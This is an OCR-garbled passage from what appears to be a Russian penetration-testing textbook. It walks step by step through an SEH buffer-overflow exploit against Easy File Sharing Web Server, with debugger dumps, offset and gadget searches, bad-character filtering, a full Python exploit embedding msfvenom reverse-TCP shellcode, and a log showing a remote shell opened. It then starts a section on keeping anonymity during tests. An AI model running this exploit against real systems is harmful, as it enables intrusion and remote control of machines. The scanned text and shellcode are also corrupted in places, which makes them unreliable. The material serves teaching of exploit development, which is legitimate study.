77 [ 0BE0R0SC| £ ows Sucket HOLITiGat ion Sink | CinEFS Suf lware Easy File Sharing Web Serverfsws,sme

77| 00002224| GoosleCr CisProgran [iles (00} Gooale Updste 1.3, 26,242 Goog leCrashiandler . ene
il

i}
Fi
i
Puc. 15.15. Moakntoyenune OllyDbg k npoueccy
Registers (FPLUI £ £ £ 4 4 4 4 4 £ £ £

ERy 41414141
ECH FFFFFFFF
ED¥ BSFESFAC ASCII ™select # from saqltable where name=" ARARARARRARAAAAARRARANABARAARARRRRAAARAAR
EBH BOBOEEE1
ESF BSFESFEE

EDI B3FESFAC ASCII "select # from saltable whers name=" ARARRRARRARRAAARRARRRRRAARARAARRRAARARRARARAAR
EIF 61C277FE sqlite3.61C277FE

Puc. 15.16. CocTosHMe perncTpoB B MOMEHT OLUINOKM

IToBTOpPUM TAHHYIO OTTHOKY, HO YK€ MCTIOMb3YST CKETETHBIN BAPHAHT IKCIIIIONT-KO/IA
(B JaHHOM cJly4ae HalMCcaHHOro Ha a3bike Python):
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#!/usr/bin/python3
import socket
import sys

import struct
import time

host="10.0.0.6"
port=80

try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
except:
print("socket() failed")
sys.exit(1)

s.connect((host,port))
PAYLOAD="A" * 5000

evil = "GET " + PAYLOAD + " HTTP/1.1\r\n"

evil += "Host: 10.0.0.6\r\n"

evil += "User-Agent: Mozilla/5.0\r\n"

evil += "Connection: keep-alive\r\n"

evil += "Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;9=0.8\r\n"

evil += "Accept-Language: en-us,en;q=0.5\r\n"

s.send(evil.encode())
s.close()

Véenumcst, uto ommbka rosTopsiercs (puc. 15.17).

e g SvEr s wus = < < = = = =
ERX 41414141
ECH FFFFFFFF
ED: B4FFEFAC ASCII "select # from sgltable where name=" ARARRRARARRRARAARARAR
EEX Q@aDEEe:1
ESF B4FFSFaa
EBP B4FFEF18
ESI B4FFEF24
EDI @4FFEFAC ASCII "select # from sqltable where name="HAARARARRRARRARRARRA

EIP 61C277F6 salite3.610277FE

CoG OO Amtn Ao ie GfCCCCCCCC)

Pwuc. 15.17. lNosTopeHue owmnbku

PaccmoTpuM 9Ty ommbOKy feTanbHee:
e EIP ne neperncan (ne AAAA wim 41414141);
Ha yacthb 6ydepa ykasbisatoT peructpbl EDX u EDI (Ho He Ha Hauaio);

°
e EAX ykasbiBaer Ha nepenucanubiii afapec (41414141);
[

353

SEH (puc. 15.18 u 15.19) nepemnucan, uto u BbI3BaI0 ouOKyY. BoJbiie uHdOp-
maru o SEH MosxkHO Haliti 31ech: https://www.corelan.be/index.php/2009/07/25/

writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/).
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|&] rie [View] Debug  Plugine Options Window  Help
= Log AL JL]E[M Tjﬂ’j“LﬁHﬂéﬁlﬂ"{S]iﬂl@
Erecutsble modules  AIE  fraie -
Memaory AlteM
s B S S s s v
Threads f.lt‘q ka3, ca bl e
i
Windows
Handles
oPu AR+ C
P 1~ Ctrie P (Cora]
Call stack I ]
it nts PO [ b
reakpoi [y
Watches Ligo>
References
Thad,

Puc. 15.18. lNMpocmoTtp SEH

3uauenue SEH:

(8 SEH chain of thread 000... = |[-E-| 3]

Address |SE handler -~

B3FEEFAC| 41414141
_— O

Puc. 15.19. 3HayeHne SEH B MOMEHT OLWNOKK

Heo6xoaumo Haiitu offset 10 SEH overwrite-a. [IJist 5TOro Mbl HCTIOJIB3YEM YTUIIATY
Metasploit Framework: pattern_create.rb u pattern_offset.rb. B pesyssrate onpeze-
nstem, uto SEH meperceiBaetcst, HaunHast ¢ 4065-To cuMBoIa:

root@kali:~/easyfilesharingweb?7.2# /usr/share/metasploit-framework/tools/
exploit/pattern_offset.rb -1 5000 -q 46356646
[*] Exact match at offset 4065

M3MeHsieM Halll 9KCILIOUT-KO/I, YTOObI IIOATBEPAUTD KOHTPOJIb Hajy SEH:

PAYLOAD="A" * 4065 + "BBBB" + "C" * 931;

B pesymsrate Buanm, uto SEH neperniican koppektro: 42424242 (BBBB).

JlIs1 yCIIemHoro BhIIOIHEeHNA Koga HaM Heobxoaumo Haiitu POP, POP, RET mno-
CJIEZI0OBATENBLHOCTD B 3arPYy’KEHHBIX MOJYJISIX, /It KOTOPBIX He BKiodyeH SafeSEH,
a TaKKe TIPOBEPUTH, NCTIOMb3yeTcs T ASLR 17151 Moty ieit (1anHbie METO/IbI 3aIATEI
PEKOMEH/LYEeTCST M3YYUTh OAPOOHEE).

SafeSEH moskHO poBeputsb, ucnonbayst Plugin 8 OllyDBG (puc. 15.20).

ASLR MOXHO MPOBEPUTD, CPAaBHUB aJIpeca 3arpysKaeMbIX MOYJIEH MeX1y Tepe3a-
ITyCKaMy MPUJIOKeHNsT 1 Tiepe3arpyskoit OS.
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File

JEXE
View Debuy

Plugins | Oplivns  Winduw  Help

CPU - thread

1 Bookmarks
2 Command line

3 SaleSEH

v [E[M[T]W][H]c]/[K][B]1

»

CALL <qlive3.elcareze
TEST EAX,EAX
SHOR 0 &

Puc. 15.20. cnonb3osaHue nnarnHa SafeSEH B OllyDbg

s e g = =—ew
#8afeSFH MNFF PRl CARARA (ALATA99ARR (R.R.R.3 C2wFFS Snftuare’Fasy File Sharing lleh Seruerianlitel Al
~5afeSEH OFF | Bx 10808008 (8x1085aa5a C:EFS Software™Easy File Sharing Web Server~Imagselozd.dll
#SateSEH Ubk [eatta Hxbe ua 4.9, 8k LiMERS Sottwaresbasy File Sharing Web bel'wr\LlltHVdd dit
“SafcBEH OFF B 1880083 BuEo2830 7,2, 8 8 Ci~EFE Softwarc Easy Filc Sharing Web Scrversfouc.cuc

B pesynbrate:

Puc. 15.21. Moaynu 6e3 BkitoveHHoro SafeSEH

o Moy 6e3 Briouernoro SafeSEH (puc. 15.21);

e nposepka Ha ASLR (mepesarpyska Windows) (puc. 15.22).

~SafeSEH OH
#sateStH UFkE
~3afeSEH OFF
“SafefEH OFF
sSafeSEH OFF

B 77670000
B b lodiady
B 10000808
B EJ0Ged
8400008

B 7762000
[0y Cep o
B 10850008
Buée 7000
Bx5c208a

7
N
2

6.1
EN-N
8.9.2k
7

Ee.

5 Egﬁ. 16385 (win7_rtn. 850713

a

C “Windows SYSTEMZ2 sechost. dl L

FLle sharing Meb Servertsalited.dil
File Sharinyg Wel ServerInageluoad.dll
File Sharing Web ServerLIBEMYZ2.
File Sharina Web Server“fsws.exe

“EFS Sottwarentasy
C ~EF3 Suf tware Easy
Ci1%EFS Software Easy
C:“EFS Sof tware“Easy

dil

Puc. 15.22, MNposepka Ha ASLR — agpec B namMATn He N3MEHUICS

ASLR He BKJIIOUEH BO BCeX UCTIONHAEMBIX (haiisax 1 6ubanoTeKax cepsuca.

Teneps Haiinem Hencnonbzyembie POP, POP, RET komGuHanmu (OTJIMdHast 1ejib —
sqlite3.dll): B sqlite3.dll meneii wer, 3aTo ux Mmuoro B ImageLoad.dll.

/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/bin/msfpescan -p
Imageload.dll

0x10021bca
0x10021fdc
0x10021ffe
0x10022108
0x1002215b
0x10022369
0x1002237d
0x10022391
0x10022433
0x10022512

pop
pop
pop
pop
pop
pop
pop
pop
pop
pop

ebx;
ebp;
ebp;
ebp;
ebp;
esij;
esij;
esij;
esij;
esij;

pop
pop
pop
pop
pop
pop
pop
pop
pop
pop

ecx;
ebx;
ebx;
ebx;
ebx;
ebx;
ebx;
ebx;
ebx;
ebx;

ret
ret
ret
ret
ret
ret
ret
ret
ret
ret

[Tonpobyem ucnomnb3osars agpec 10021BCA (puc. 15.23).
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Address |SE handler
HE2E6FAC

Puc. 15.23. MNoareepxaeHune, uto SEH ycnewHo nepenncaH Ucnonb3yemMblM aapecom

SEH nepesanucan yjauso.

Jocrurnyra Touka npepbiBanus. [TonagaeM Ha 4 Gaiita 710 HepernucaHHOro HaMu
SEH (puc. 15.24).

41 IHC ECH
BE2BSFAD| 41 IMC ECH
BEZBSFRE| 41 IMC ECH
BEZBCFAF| 41 INC ECH
BS2BeFEE| CH 1BSZ RETF z21E Far return
BEZECFED| 1842 432 AOC EYTE PTR DS:[EBX=+421,AL
BEZBEFRE] 42 IMC EBX

Puc. 15.24. SEH nepe3anucaH ygauHo

Teneps monpobyeM «IepenpbiriyTh» yepes SEH, mepesanucarb ero, ucmoJbayst
1epexo/l 110 YCJIOBUIO, U 3alIMcaTh Ty/la HAIl eJI-KOJL.

[Tposepum namuuue «mmoxux» cumBoJioB (put 01-FE-cumBosbr ocsie SEH-
nepesarnucu): 253 GaiiT.

added \x20 - npoben - "nnoxon" cumBon
added \x25 - % "nnoxoi" cumBon

added \x2b - + "nnoxoi" cumBon

added \x2f

added \x5c - \

Bce «mimoxues» cuMBOJIBI HAWi/IEHBI.
[Tonpobyem \x76\x06\x77\x04 17151 Iepexo/aa BIepe;I.

Jlyuiie iepeiitu Ha 6 6aiit, a He Ha 4. B 71060M cJiydae Mbl BBIXOANUM U3 KOHTPOJIU-
pyemoro mpoctpaHcTBa (puc. 15.25).

S 0o ] e n] i ] e ] T [ [mf T [wlm]c]/[K[B]
BEASEFAE| 41 THC ECH

BEAZSEFAC |~ 7E G5 JEE_SHORT BSESEFEY

BEASEFAE |77 B4 JA_SHORT BSB2EFE4

BEASEFEE| CH B2 RETF Z1E Far return
BSASEFES| 16899 9A%@9696 | ADC BYTE PTR DS: [EAX+9G38365@1, DL

BERZEFES| 98 HOF

BEASEFER| 98 HOF

BEASEFEE| 96 HOF

BSESEFEC| 28 HOF

BERSEFED( 28 HOF

BEESLFEE( @la2 HOD' DWORD PTR OS: CEQK], EAX

HEESEFCE| B30465 DeE7E5E% A00 ERH, DWORD PTR OS: [ERE+985E7E6]

BSESEFCT( BRAAE OR CL.EBYTE PTR DS:[EEX]

BEASEFCS] AC A0 OF_AL. 60

Puc. 15.25. Bbixoa 13 KOHTPOIMPYEMOro rnpoCcTpaHCcTBa

ﬂOGaBI/IM IIEeJII-KOZ — U IMOJIYYUM JOCTYII K KOHCOJIN Ha LIGJIGBOﬁ CuUcCTeEME.
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CFGHGPHPyeMﬂHeHH-KOH,HCHOHBSyHIHﬁVeHOHl663«HHOXHX»CHMBOHOB

msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.5 -b "\x00\xff\x20\x25\x2b\
x2f\x5c" lport=444 -f python -v shellcode

JoGasisieM mresui-kox v ipodyem. Ham Bee yaamocs!

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.0.5:444

[*] Encoded stage with x86/shikata_ga_nai

[*] Sending encoded stage (267 bytes) to 10.0.0.6

[*] Command shell session 1 opened (10.0.0.5:444 -> 10.0.0.6:49971) at 2023-05-
23 19:47:52 +0000

Shell Banner:
Microsoft Windows [Version 10.0.22000.1574]

C:\Users\test\Desktop>

Eme pa3 paccMoTprM TOTOBBIH 9KCILIOUT ¢ KOMMEHTAPUSIMU:

#!/usr/bin/python3
import socket
import sys

import struct
import time

host="'10.0.0.6"
port=80

try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
except:
print(“socket() failed")
sys.exit(1)

s.connect((host,port))

# Metasploit generate shellcode generated with command: msfvenom -p windows/
shell/reverse_tcp lhost=10.0.0.5 -b "\x00\xff\x20\x25\x2b\x2f\x5c" lport=444
-f python -v shellcod

#Payload size: 381 bytes

#Final size of python file: 2100 bytes

shellcod = b""

shellcod += b"\xdd\xc@\xd9\x74\x24\xf4\x5d\xba\xbc\xe9\xe2"

shellcod += b"\xed\x33\xc9\xb1\x59\x31\x55\x19\x03\x55\x19"

shellcod += b"\x83\xed\xfc\x5e\x1lc\x1le\x05\x11\xdf\xdf\xd6"

shellcod += b"\x4d\x69\x3a\xe7\x5f\x0d\x4e\x5a\x6f\x45\x02"

shellcod += b"\x57\x04\x0b\xb7\xec\x68\x84\x86\x0d\x83\x63"

shellcod += b"\xa2\xd7\xaa\x4b\x9f\x24\xad\x37\xe2\x78\xod"
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shellcod += b"\x09\x2d\x8d\x4c\x4e\xfb\xfb\xal\x02\x77\x51"
shellcod += b"\x2d\xf4\x0c\x14\x71\xfb\xc2\x12\xc9\x83\x67"
shellcod += b"\xe4\xbd\x3f\x69\x35\xb6\x88\x71\x3e\x90\x28"
shellcod += b"\x83\x93\x70\xac\x4a\x67\x4c\xe7\xc7\xbc\x27"
shellcod += b"\xf6\x01\x8d\xc8\xc8\x6d\x42\xf7\xed\x63\x9a"
shellcod += b"\x30\xc2\x9b\xe9\x4a\x30\x21\xea\x89\x4a\xfd"
shellcod += b"\x7f\x0d\xec\x76\x27\xe9\x0c\x5a\xbe\x7a\x02"
shellcod += b"\x17\xb4\x24\x07\xa6\x19\x5f\x33\x23\x9c\x8f"
shellcod += b"\xb5\x77\xbb\x0b\x9d\x2c\xa2\x0a\x7b\x82\xdb"
shellcod += b"\x4c\x23\x7b\x7e\x07\xc6\x6a\xfe\xe8\x18\x93"
shellcod += b"\xa2\x7e\xd4\x5e\x5d\x7e\x72\xe8\x2e\x4c\xdd"
shellcod += b"\x42\xb9\xfc\x96\x4c\x3e\x75\xbo\x6e\x90\x3d"
shellcod += b"\xd1\x90\x11\x3d\xfb\x56\x45\x6d\x93\x7f\xe6"
shellcod += b"\xe6\x63\x7f\x33\x92\x69\x17\xb6\x62\x6e\xe2"
shellcod += b"\xae\x60\x6e\xed\x92\xed\x88\xbd\xba\xbd\x04"
shellcod += b"\x7e\x6b\x7d\xf5\x16\x61\x72\x2a\x06\x8a\x59"
shellcod += b"\x43\xad\x65\x37\x3b\x5a\x1f\x12\xb7\xfb\xe0"
shellcod += b"\x89\xbd\x3c\x6a\x3b\x41\xf2\x9b\x4e\x51\xe3"
shellcod += b"\xfb\xb0\xa9\xf4\x69\xb0\xc3\xfO\x3b\xe7\x7b"
shellcod += b"\xfb\xla\xcf\x23\x04\x49\x4c\x23\xfa\x0c\x64"
shellcod += b"\x5Ff\xcd\x9a\xc8\x37\x32\x4b\xc8\xc7\x64\x01"
shellcod += b"\xc8\xaf\xd@\x71\x9b\xca\xle\xac\x88\x46\x8b"
shellcod += b"\x4f\xf8\x3b\x1c\x38\x06\x65\x6a\xe7\xf9\x40"
shellcod += b"\xe8\xe@\x05\x16\xc7\x48\x6d\xe8\x57\x69\x6d"
shellcod += b"\x82\x57\x39\x05\x59\x77\xb6\xe5\xa2\x52\x9f"
shellcod += b"\x6d\x28\x33\x6d\x0c\x2d\x1e\x33\x90\x2e\xad"
shellcod += b"\xe8\x23\x54\xde\x0f\xc4\xa9\xf6\x6b\xc5\xa9"
shellcod += b"\xf6\x8d\xfa\x7f\xcf\xfb\x3d\xbc\x74\xf3\x08"
shellcod += b"\xel\xdd\x9e\x72\xb5\x1le\x8b"

#Charset for removing bad chars. 253 bytes. Bad chars \x00\xff\x20\x25\x2b\x2f\x5c
CHARSET="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\
x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x26\x27\x28\
Xx29\x2a\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\
X3F\x40\x41\x42\x43\x44\x45\x46 \x47 \x48\x49\x4a\x4b\x4c\x4d\x4e\x4F\x50\x51\x52\
x53\Xx54\x55\x56\x57\x58\x59\x5a\x5b\x5d\x5e\x5F\x60\x61\x62\x63\x64\x65\x66\x67\
X68\x69\x6a\x6b\x6c\x6d\x6e\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\
x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\
x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xal\xa2\xa3\
Xxa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb@\xb1l\xb2\xb3\xb4\xb5\xb6\xb7\
xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xcO\xcl\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\
xcc\xcd\xce\xcf\xdo\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\
xed\xel\xe2\xe3\xed\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xfO\xf1\xf2\xf3\
XFA\XF5\xF6\xf7 \xf8\xf9\xfa\xfb\xfc\xfd\xfe"

# Shortjump used to jump over SHE overwrite and land into NOP sled (\x90
instructions)
SHORTJUMP=b"\x76\x09\x77\x06" ;

# final PAYLOAD construction where we use knowledge about SEH overwrite at 4065
offset

PAYLOAD=b"A" * 4061 + SHORTJUMP + b"\xca\x1b\x02\x10" + b"\x90" * 10 + shellcod
+ b"C" * 561;
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evil = Db"GET " + PAYLOAD + b" HTTP/1.1\r\n"

evil += b"Host: 10.0.0.6\r\n"

evil += b"User-Agent: Mozilla/5.0\r\n"

evil += b"Connection: keep-alive\r\n"

evil += b"Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;9=0.8\r\n"

evil += b"Accept-Language: en-us,en;q=0.5\r\n"

s.send(evil)

s.close()
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CoxpaHeHue aHOHMMHOCTU

EcJiit TocMOTPETh Ha 3TUMOJIOTUIO TEPMUHA «aHOHUMHOCTb», B TPEYECKOM 3TO «Oe-
3BIMSTHHOCTb» WJIN <OTCYTCTBUE UMeHU». [Ipu mMpoKoM MOHUMaHUN aHOHUMHBIM
MOKHO CYUTATD YEJIOBEKa, Ubs JMYHOCTh HaM Hem3BecTHa. Kak 1 y MHOTHX JPyTHUX
ABJIEHUH, Y aHOHUMHOCTH €CTb /IB€ CTOPOHbI — XOpolIas U Ij10Xasd. Xopolias 3a-
KJTIOYAETCS B TOM, UTO, COXPAHSIst CBOI0 aHOHUMHOCTD B [J106aJIbHOIT CeTH, BBI MOJKETE
CKPBITH CBOM MHTEPECHI U TIPEAMOUTEHUS 1 TEM CaMbIM TOTBITAThCS U306€KaTh MO-
naJianus B MHMOPMAIIMOHHDIN Ty3bIPb U BO3MOKHOCTA MAaHUITYJIMPOBAHMS BAITM
MUPOBO33PEHHEM, JKeJAHUSIMU U TIOCTYITKaMU. TeMHasi CTOpOHa aHOHUMHOCTH TTPO-
SIBJISIETCSI B omyIieHnn GesHakazanHocT. OcTaBasich aHOHUMHBIMI, HEKOTOPBIE
JIIO/TH TIO3BOJISTIOT cebe /IeIaTh TaKye BEIIH, Ha KOTOPbIE OHU HIKOT/Ia He OCMEJTILIHCH
6bl, eyt ObI UX JIMIHOCTH Oblia M3BECTHA. V1 4TO caMoe HeMPUATHOE, Yallle BCEro aTH
JeCTBUS TIPOTUBO3AKOHHDI (KaK OJIMH U3 TPUMEPOB MOKHO IIPUBECTH Pa3KUTaHme
MEKHAIIMOHATBHON PO3HU B COITMAJIBHBIX CETAX).

AHOHVMMHOCTb NpY NPOBEAEHUN TECTOB

Ho eciu oTBjIeubcst OT 00LUIMX pacCysKACHUH, TO 3a4eM HaM MOKET IIOHAZ0OUTHCS
QHOHUMHOCTH BO BPEMSI TECTOB Ha ITPOHUKHOBEHNE?

[TepBoe — 9TO COKPHITHE CBOUX JEHCTBUIT OT CUCTEM OOHAPYKEHUS, TPUMEHSIEMBIX
B 1esieBoit VIC. Jlake eciiv BBI TPOCTO OTKPBIIH OGIIEIOCTYITHYIO CTPAHUILY aTaKy-
eMoil opraHusaIu B BaieM Gpaysepe, ata MHMOPMAIUA COXPAHUTCS B JKypHAJIE
cepsepa. KoreuHo, Bpsij1 /it Bac TOCJIe 3TOro 3a0JIOKUPYIOT, CKOPEE BCETO, ATY 3aIUCh
BOOOIIIE HUKTO He 3aMeTHT. HO Kak TOJTbKO BBI HAUHETE BECTH XOTH CKOTHLKO-HUOY/Tb
AKTWBHBIE IEHCTBU, TO 3Ta WH(pOPMAIUS cpa3y ke BCIIBIBET. BbI Jke He XOTuTE,
94TOGBI BAIIl TECT 3aKOHYIJICS, TAK TOJKOM U He HAYaBIIHCh?

B HEKOTOPBIX CJIydasix TECTHPOBAHUE HA TIPOHUKHOBEHUE TPOBOAUTCS (€3 Tpe/Ba-
PHUTEIBHOTO YBEOMIEHUS COTPYIHUKOB KOMIAHUN. JTO JIETAeTCS IS IOy YeHUS
6oJiee TOUHBIX PE3YJIBTATOB, OCHOBAHHBIX HAa PEAJIbHOM IOBEIECHUH COTPY/IHUKOB
U COCTOSTHUW CHCTEMBI 6€30MacHOCTH. AHOHUMHOCTD B 9TOM KOHTEKCTE TIOMOTAeT
COXPAHUTD CTATyC TalHbI U IPEAOTBPalaeT BO3MOKHOE H3MEHEHUE [TOBEIeHIS WIIN
npuHATHE Mep 6E30MaCHOCTH TOJIBKO BO BPEMSI TECTUPOBAHMSL.
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Bropoe — mocTyIl K 3aKpbITBIM pecypcaM. dacTo GbIBAET, 4To JAOCTYIT MOKET ObITh
3aKPBIT MMOJb30BATEISIM, HAXOASANUMCS B oTipe/iesieHHol ctpaHe. [Ipuuem nocryn
MOJKET OBbITh OTPAaHUYEH KaK CTPaHoii, B KoTopoii HaxoauTcesa VIC, Tak 1 cTpaHoii, B KO-
Topoit HaxouTcs crieranuct mo B, CTout oTMeTHTh, 4TO Bac MOJKET UHTEPECOBAThH
JIOCTYII HE TOJIbKO K UH(PACTPYKTYPE, KOTOPYIO BbI TECTUPYETE, HO U K CTOPOHHUM
pecypcaM ¢ Hy;KHBIMH BaM MHCTPYMEHTaMW Wn WH(GOpMaInen.

TPETbe — 3allliuTa COTPY/AHNUKOB. B CJIyda€ BOSHUKHOBEHUA IOPUINIECCKUX HpO6]IeM
nin HeﬂOpaSyMeHI/Iﬁ AHOHUMHOCTD MOJKET 3alllUTUTD 9KCIIEPTOB I10 TECTUPOBAHUIO Ha
IIPOHUKHOBEHNE OT TAKUX MMOTEHITNAJIbHbIX HOCJIGZ[CTBI/H(/)I, KaK NCKH, PeIyTalluOHHbIE
PUCKHN WUJIN YTOJIOBHOE TIpEC/Ie/I0OBaHNE.

ITO JINIITH HECKOJIBKO IIPUMEPOB TOTO, JIJIsl 4ET0 BAM MOJKET TIOHAIOOUTLCSI COXPAHSITH
AHOHUMHOCTB BO BpeMst paboThl. Be3ycioBHO, BaM TIPUTOJATCS He BCE MHCTPYMEH-
TBI, KOTOPBIE OTIMCAHBI HUZKE, OJIHAKO UMETh TIpeicTaBiienue 06 ux pabore Oyer He
JIVIITHUM.

AHOHOMHOCTbL B ['nobanbHON ceTu

C aHOHUMHOCTBIO B 0OBIYHOM MUPE €TI0 00CTOUT TIpoiie. CBOKO JIMIHOCTD MbI MOJKEM
MTOJATBEPANTD, IPEBABUB MMACIIOPT, IPONYCK, BOAUTEIBCKOE YAOCTOBEPEHUE NN
MHOM I0OKyMeHT. B nnrepHere Bce c10KHee; MbI MOKEM MCII0JIb30BaTh YHUKAJIbHYIO
3JIEKTPOHHYIO MOJAIUCDH 71 ayTeHTU(DUKAIIMKI HAa HEKOTOPBIX pecypcax, HO TaKUX
PEecypcoB Bce Ke MeHBITUHCTBO. Hallle /11 MOATBEePsK/IAeHNs BallllX [IpaB 0CTYIa
HCIIOJIb3YETCS Mapa JIOTUH U I1apOJib.

Pambiire, Ha 3ape WHTEPHETA, JIUIST CO3/IAHUST YUETHOI 3AITHCH B KaKO#-Tn60 cucTeMe
BaM JOCTATOYHO GBIIIO UMETh JIUIIb 4/IPEC HJIEKTPOHHOI MOUTHL. BbI MpUIyMbIBaIH
JIOTHH U T1apOJib, ¥ B CJIy4Yae, €CJIU Bbl CO3/IaBAJIN TIOUTOBBIN SAIIUK TOJTBKO I/ PEru-
CTPAIlMX HA KOHKPETHOM pecypce, TO MOTJIM OCTAaBAThCS B ONPE/IeJIEeHHON CTereHn
AHOHUMHBIMU. Terepb CUCTEMBI BCe Yallle CIPAITUBAIOT Balll HOMep TesredoHa, KoTo-
PBIif IOCTATOYHO CJIOKHO MOJIEIATD, W TIPEJIaraloT aBTOPU30BATHCS, UCTIOIb3YS
TaKue mopTasbl, Kak vk.com uimn facebook.com, aTo aBToMaTIYeCK O3HAYAET TIEpe-
Jlayy BalllMX I1€PCOHATBHBIX JIaHHbIX.

Ho ato emte e Bce. Te ske MOMCKOBBIE CUCTEMBI XOTAT 3HATH, KTO KOHKPETHO U Ha
KaKOI CaiiT 3aX0/IUT, KAKKe CTPAHWIIBI TaM ITPOCMATPUBAET 1 CKOJIBKO BPEMEHH HA 3TO
TpaTHT. BoJbIiast yacTh TAKUX caiiToB He TpeOyeT perucTpaiui st IPOCTOTO TIPO-
CMOTPA UX COJIEP;KIUMOTO, TIOITOMY /IS IEAHOHMMU3AIUHN TI0JIb30BATEJIST CO3/IAeTCs
€r0 YHUKAJbHbII IN(POBOIT OTIIEYATOK, OCHOBAHHBIN HA COBOKYITHOCTH MHOKECTBA
JIAHHBIX.

IIJIH CO3laHns YHUKAJIBHOTO ]_II/I(I)pOBOFO OTII€9aTKa ITIONCKOBBIMU CUCTEMaMU MOTYT
OBITH UCIIOJIb30BAHBIL:

e [P-ampec. OrcnesxkuBanue [P-agpecoB nob3oBartesieil MO3BOJSET OMPENETUTD
reorpadnueckoe MeCTOIOJIOKeHHe U TTpoBaiiiepa mHTepHeTa. Ecam y Bac cra-
tuyeckuii my6andnbiii IP, To ero yske Oyzer JoCTaTOuHO A/ UAeHTU(DUKALNY;
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e unHdopMaIms 00 yCTpOUCTBE — THIT YCTPOUCTBA, ONIEPAIMOHHAS CHCTEMA, BEPCHUST
Gpaysepa, paspelienne aKkpaHa 1 Pyrue XapaKTepPUCTHK;

® (pailibl cookie MOMOraioT OTCIEKUBATH IIOBEAEHNUE I10JIb30BaTE el Ha PasInYHbIX
cafiTax M Ceccusx, YTo MO3BOJISET JIydllle TOHUMATh MHTEPEChl 1 TPeIIOUTEeHNS
I10JIb30BaTeJIel;

® 1CTOPHUA [I0MCKA — 3AIIPOCDL, C/leJIaHHbIe [10JIb30BaTe/IeM B IOUCKOBOI crucTeMe,
AHAJMBUPYIOTCSA JIJIsI ONPeJIeJIeHs] HHTEPECcOB, HaMepeHuil 1 moTpebHocTell
MOJIb30BATEJIS;

® uH(OPMAINST O HABUTAI[MK — BPEMsI IOCEIIEHNS, JJTUTETbHOCTD IPeObIBaHUST Ha
caiite, TPOCMOTPEHHBIE CTPAHUTIBI M TTPOYNE IeHCTBUS MOIH30BATEIST;

[ ] B38.I/IMO,I[€I';ICTBI/IG C peK]IaMOfI — KaKHne peKJIaMHbI€ 00bABJIEHUS 110Ib30BaTeb
BUAWT, Ha KaKWE€ U3 HUX HAKUMAET U CKOJIbKO OH IMTPOBO/IUT BPEMEHU 3a IIPO-
CMOTPOM pPEKJIaMBbI;

® TaHHbIEC U3 COIIMAJIbHBIX ceTeii B CJIydae, eCJu 110Jib30BaTeJIb UCIIOJIB3YET aKKayYHT
COIMAJIBHON CeTn UL aBTOPpU3alluM Ha IPYTUxX CaﬁTaX;

® TeoJIOKalUs — JaHHbIE O TEOJIOKAIIMU T10JIb30BaTesl (€C/IU OHU JIOCTYITHbI ) JIJIsk
onpejiesieHUsI MECTOTIONIOKEHUST OTcaexkuBaioTes Ha ocnoBe GPS, Wi-Fi unn
COTOBOII CBSI3M.

Kak coxpaHuTb @HOHUMHOCTb?

CylecTByeT MHOKECTBO CIIOCOOOB COXPAHUTH AaHOHUMHOCTh. MOKHO CO3/1aTh
MPOMUIH B COMMMANBHBIX CETSIX € UCIMOJIH30BAHUEM MOJIETBbHOM JINIHON nHDOpMa-
1M — yKa3aTb TPUAYMaHHOE UMSI, CIIEITNATBHO JIJIST 3TUX TIeJIeil CO3/TaHHbIN ajipec
9JIEKTPOHHON [MOYTHI, CreHepupoBaTh HeHacTosAyio ¢ortorpaduio u 1. 1. Kpome
CO3/IaHUS TIO//IeJIbHON JIMYHOCTH, CYIIECTBYIOT U APYTU€e IIPUEMBI JIJIs1 COKPBITHS
Balllero Mectomnosioxenus u [P-agpeca, /1715 9TOro OTJAUYHO OAX0AAT cepBuchl VPN.

EcTbh 1 MHOJKECTBO HaJICTPOEK /7ist Opaysepa, KOTOPbIe 3aTPYIHSIOT cO0p MHbOpMa-
i o Bac. Tak kak B Kali Linux mo ymosuanmio ucnosbsyercs Mozilla Firefox, To
PacCMOTPHM HECKOJIBKO TIPUMEPOB UMEHHO JIJIsl HETO:

e Facebook Container — HHCTPYMEHT, TPEIOTBPATIAIONIII OTCIEKIBAHIE TTOTH30BaA-
teneit Facebook Bo Bpemst ux npebbiBanus Ha Apyrux caiitax. Facebook Container
U30JIMpYyeT Bally akTUBHOCTD Ha Facebook ot Beeit ocTanpHoll Balieii akTHBHOCTH
B UHTEPHETE, YTO OCJAOKHIAET cOOP JAHHBIX O BAC HA CTOPOHHUX CalTax.

e Decentraleyes meiicrByer xak jokanbhbiii kamr CDN (Content Delivery
Network), mpeoTBparias 3ampochl K MOMYISIPHBIM CTOPOHHUM CITy;K6aM J10-
crasku koutenra (Google Hosted Libraries, Microsoft Ajax CDN u T. z1.). JonoJ-
HEHWEe XPAHUT JIOKAJTbHbIE KOIMU MONMYJISPHBIX 6ubimorek JavaScript u gpyrux
PECypCoB, YaCTO UCTIOTh3YIONUXCA Ha PAa3InYHbIX caiiTax. Koria Bl moceraere
caiiT, KOTOPBII MCIOJIb3YeT OMHY U3 3Tux Oubamnorek, Decentraleyes mbitaercst
3arpys3uTh JOKATHHYIO KOITHIO PECYPCA, BMECTO TOTO YTOOBI OTIIPABISATH 3aMPOC
k croporHemy CDN.
